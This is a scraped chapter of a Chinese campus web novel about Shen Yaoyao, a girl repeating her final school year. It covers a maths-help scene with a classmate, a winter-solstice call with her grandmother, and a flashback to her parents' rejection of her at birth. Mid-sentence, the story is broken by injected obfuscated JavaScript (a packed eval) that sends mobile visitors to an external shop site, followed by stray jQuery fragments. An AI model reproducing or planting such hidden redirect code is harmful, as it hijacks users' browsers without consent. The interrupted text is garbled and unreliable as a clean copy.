文趣网 > 都市小说 > 岛城纪事[校园] > 12. 小时了了(04)
    12

    期中考试,江芮楠突破极限,拿了班里的数学第一。

    重新排位后,曾鸣源大呼小叫,哭着喊着不要跟天赋怪做同桌。

    两人正巧坐在沈杳杳与陈涯前一排。

    曾鸣源很有意见:“你个打排球的数学学得那么好干嘛?让我很丢脸倒是其次,最重要的是赛场上也没机会给你算数啊!”

    江芮楠觑他一眼:“看不惯高智商女运动员啊?”

    两个人坐在一起后,打闹的次数陡增,不过曲良然丝毫不担心。

    江芮楠在学校活得像个纯恨战士,看谁都不顺眼。曾鸣源更是没开智,天天招猫逗狗,学习心思跟坐角落的陈涯有的一拼。

    于思雁曾私下跟沈杳杳吐槽班主任简直是个巫师,把这两个人安排做同桌,分明是在养蛊。

    沈杳杳认不全班上的人,但是对这两个活宝还是有些印象。

    刚巧又坐在她的前桌,本着不耻下问的原则,沈杳杳拍了拍斜前方江芮楠的肩膀,硬着头皮问了一道数学大题。

    江芮楠很不客气:“没看见我正忙呢?”

    沈杳杳只好礼貌询问:“那我下节课课间能找你吗?”

    江芮楠转身,不耐烦道,“算了算了,”抽走练习册,“下节课我还得去英语办公室罚默写。”

    某种意义上讲,江芮楠的时间安排也算是井井有条。她的身形让开,沈杳杳才注意到她居然在做手工。

    准确地讲,是裁下彩色的胶带,然后进行拼贴,精心装饰一本漂亮的手帐本。

    沈杳杳心直口快:“你做的手帐真好看。”

    正在读题的江芮楠脸一红,恶狠狠大声道:“你学不学了?谁让你点评了?”

    沈杳杳道歉很快:“对不起。”

    江芮楠:“哼。”

    她的态度虽然很恶劣,但胜在脑袋十分灵光,一番酣畅淋漓的讲解后,沈杳杳眼冒金星,努力理解。

    江芮楠欣慰道:“不错嘛,你比孙鸿的脑袋灵光多了。”

    沈杳杳:“他也问你题啊?”

    江芮楠不屑道:“还能是我求着他问的?”

    江芮楠讲话跟吃了火药一样,似乎每个人来到她跟前,都要经历过唾沫星子的洗礼后才能放行。

    江芮楠语调很是嫌弃:“他不仅笨,还懒,一门心思放在泡妞上,光上高三以来就谈了16个网恋对象,活该考不上大学。”

    说完这句恶毒的诅咒,她做出呕吐的表情,真情实感。

    沈杳杳算题的手一停:“多少?!”

    16个?

    怪不得陈涯说他不是好人。

    沈杳杳缩了缩脖子,学生时代的她天生对把谈恋爱放在嘴边的人心生恐惧。

    下节课下课,江芮楠背上排球,外套一甩,水杯一带。

    沈杳杳鼓起勇气:“你这是……”

    江芮楠答:“训练。”

    沈杳杳一愣:“不是要默写英语吗?”

    江芮楠用看傻子一样的眼神看她:“我去操场,老师又抓不到我。”

    这种“好学生”,江芮楠见得多了。

    沈杳杳深吸一口气,跟脑回路清奇的人打交道,实在艰难。

    -

    期中成绩名列前茅,沈杳杳长舒了一口气,回到住处,高兴地向奶奶汇报。

    奶奶的电话很快打过来,沈杳杳接起,听见奶奶熟悉的声音。

    “杳杳,今天冬至,吃饺子没呀?”

    沈杳杳打开一点门缝,看到严阿姨在客厅忙碌揉面的身影,吵闹的电视剧成为通话的背景音。

    “阿姨今天包饺子呢,等会儿我去帮她。”

    电话那头,奶奶的声音有些沙哑,“杳杳,你过年回不回来呀?”

    全天下的老人都盼着儿孙团聚。

    沈杳杳低下头,扣着指甲,犹豫许久。

    “奶奶,我可能不回去了。学校过年只放不到一个周的假,我坐火车要六个小时,高铁又贵,来回耽误太多时间和钱了。”

    “这么辛苦啊。”奶奶叹了口气,“也好,你妈妈如果带渺渺回来,还是不要让你们见面了,免得影响你心情。”

    沈杳杳重重点头,意识到自己在打电话,奶奶看不到,才又咳了一声:“好,奶奶,你照顾好自己,等我考完试带你来岛城旅游!”

    祖孙俩又说了会儿话,直到奶奶累了,沈杳杳才依依不舍挂断电话,仰头瘫倒在小小的单人床上。

    她望着天花板上的灯管发呆,耳畔似乎回荡着奶奶的声音。

    “杳杳啊……杳杳啊……”

    沈杳杳之所以叫沈杳杳,是因为奶奶。

    -

    沈杳杳降生那日,家里上下满心盼着能得一个男孩。

    家族有哮喘遗传病史,父母抱着搏一把的心思执意生下这胎,只盼能得个儿子。

    然而襁褓里抱出来的却是个孱弱的女婴,呱呱坠地便哭着喘鸣不止,确诊为遗传性先天哮喘。

    家里穷,没有钱治病。叔伯亲戚纷纷劝说弃养,亲生父母看着羸弱得像小猫一样的女儿,狠下心决定舍弃。

    计划生育政策期间,若是前一个孩子出了意外,才被允许再生育。

    唯有奶奶死死将襁褓搂在怀中,说再难也是一条命,砸锅卖铁也要把孩子留住。

    父母拗不过老人,表面上只能妥协。

    为了方便日后生子,他们对外谎称孩子是路边捡来的弃婴,不认她亲生的身份。

    亲生的父母满怀着恨意,不许这个孩子跟着族谱姓,甚至为她取名为“夭”,期盼着她早早夭折。

    那时,奶奶不识几个字。

    抱着呼吸微弱的婴儿上户口时,她鼓起勇气拉住办事的工作人员,低声恳求:“给我们家夭夭改个名字吧,给我们家夭夭改个名字吧……”

    “夭”这个字,太苦了。

    工作人员见惯民生疾苦,却终有不忍,她想起《楚辞》,遂提笔,在姓名那一栏写下“杳杳”二字,代替“夭夭”。

    眴兮杳杳,孔静幽默。

    屈原被流放江南,孤身行走荒野,举目所见只有空旷幽暗的天地,周遭死寂无声。

    自此,沈杳杳有了自己的名字。

    没过多久,母亲再度怀孕。

    不知是不是老天的玩笑,父母愿望强烈却依旧没能如愿,十月怀胎,母亲生下妹妹许渺。

    虽不是男孩,可许渺到底是健康的孩子,更得父母偏宠。

    有了许渺后,家中更加无人在意多余的沈杳杳。以至于后来父母外出打工,也只将许渺一个人带在身边。

    小的时候,沈杳杳想妈妈想得直哭,她躲在奶奶怀里,问自己是不是没人要的孩子。

    奶奶搂着她,轻柔拍着她的背。

    “我们杳杳不是没人要的孩子,我们杳杳呀,是奶奶的亲孙女……”

    后来,沈杳杳懂事了,便不会追着问那些荒诞的、问多少次也不会改变答案的问题了。

    不问,却不代表她不在意。

    她能看见妹

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887904|212625||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    妹穿着崭新的连衣裙,能看见妹妹拉着爸爸妈妈的手笑,也看见妹妹被亲戚环绕夸赞,像太阳一样天生就能得到所有的偏爱。

    十几年来,她的双亲一直没有与她亲近过,直到上高中后,固执强硬的父亲似乎才想起来做父母的责任,逼迫她学习理科。

    父亲说读书唯有理科有出路,若不学理,便停掉她的学杂费让她早早嫁人。

    沈杳杳知道,自己在他眼中自始至终不过是一摞薄薄的彩礼。学理科也是想日后打工赚钱,抬升价值,让这一沓彩礼变得厚一些。

    谁也没料到,高考后,父亲离世。

    他甚至没等到沈杳杳的高考成绩,便猝然离去。

    一方面,沈杳杳平静地接受了父亲死亡的讣告,压在身上的枷锁赫然空出一道缺口。

    另一方面,她一阵后怕——父亲的死亡,源自家族遗传的哮喘。不仅父亲,父亲的父亲也因它而死。

    会不会有一天,沈杳杳也会承袭家族悲惨的命运?

    她会不会在一个风和日丽的日子,像他们那样,仓促地结束这一生?

    寒意像是毒液般攀登着脊背,沈杳杳忽然察觉人的一生太过短暂,好像烟花盛开,又好像昙花一现。

    她鼓起勇气同奶奶坦白。

    她要复读,她不要重蹈父亲的命运。

    生命只有短短几十载,就算已经蹉跎十几年,她也要在未来,按照自己的意愿活下去。

    本以为会被劝阻,然而奶奶没有迟疑,二话不说拿出多年积蓄,高价将沈杳杳送到省里大城市的高中借读复读。

    她托了关系,让沈杳杳借宿旧友的女儿严阿姨的家中,每月向严阿姨打一笔钱,只希望沈杳杳能顺着自己的心往前走。

    母亲对此颇有微词:“您花那么多钱给那个短命鬼做什么?渺渺刚刚上高中,正是缺钱的时候,您都不跟我们商量商量,一下可花了好几万!”

    一向软弱的奶奶,在丈夫儿子接连去世后,终于硬了一回腰杆。

    “你叫谁短命鬼呢?杳杳是我的心肝宝贝!渺渺是你女儿,杳杳就不是了吗?从小到大,你什么时候疼过她?”

    “妈!”母亲急得团团转,“我是怕她有命花钱,没命读书啊!”

    奶奶生平第一次发这么大的火,她砸了爷爷生前最喜欢的杯子:“闭上你的嘴,我还没有老糊涂!我自己的钱,想给谁花给谁花!你现在就从我家滚出去!”

    一道卧室门后,沈杳杳蜷缩在黑暗中,死死捂住自己的嘴,眼泪啪嗒啪嗒往下掉。

    人人盼她凋零,唯有奶奶耗尽半生托举。

    她给自己一年的时间。

    这一年,她就算死,也要把书读下去。

    -

    沈杳杳出神地想着这些纷纷扰扰的事情,不知不觉间,意识变得模糊。

    鬓边不知何时濡湿一片,泪水漫过枕套,恍惚间,她被人轻轻摇了摇。

    “姐姐?”

    “杳杳姐姐!”

    ……

    冷色调的白炽灯光像是一柄刀劈入眼帘,沈杳杳朦胧地睁开眼,视野中严箐伸过来的脑袋满是担忧。

    “杳杳姐姐!”他转忧为喜,“快醒醒,饺子煮好了,马上就能吃啦!”

    饺子煮好了。

    沈杳杳想起来,今天是冬至。

    从今天开始,太阳直射点将告别南回归线,一路奔赴向北。

    白昼将会慢慢变长。

    褪去漫长的寒冬,万事也会慢慢变好。

    ……